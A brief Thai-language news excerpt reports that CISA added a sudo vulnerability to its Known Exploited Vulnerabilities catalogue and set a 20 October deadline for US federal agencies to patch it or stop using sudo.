สำนักงานความมั่นคงปลอดภัยไซเบอร์ และโครงสร้างพื้นฐานแห่งสหรัฐอเมริกา (CISA) ได้เพิ่มช่องโหว่นี้ใน Known Exploited Vulnerabilities (KEV) โดยระบุว่าเป็น "การนำฟังก์ชันจากส่วนควบคุมที่ไม่น่าเชื่อถือมาใช้"

CISA กำหนดให้หน่วยงานรัฐบาลกลางของสหรัฐฯ ต้องดำเนินการแก้ไขอย่างเป็นทางการ หรือยุติการใช้ sudo ภายในวันที่ 20 ตุลาคมนี้ (more…)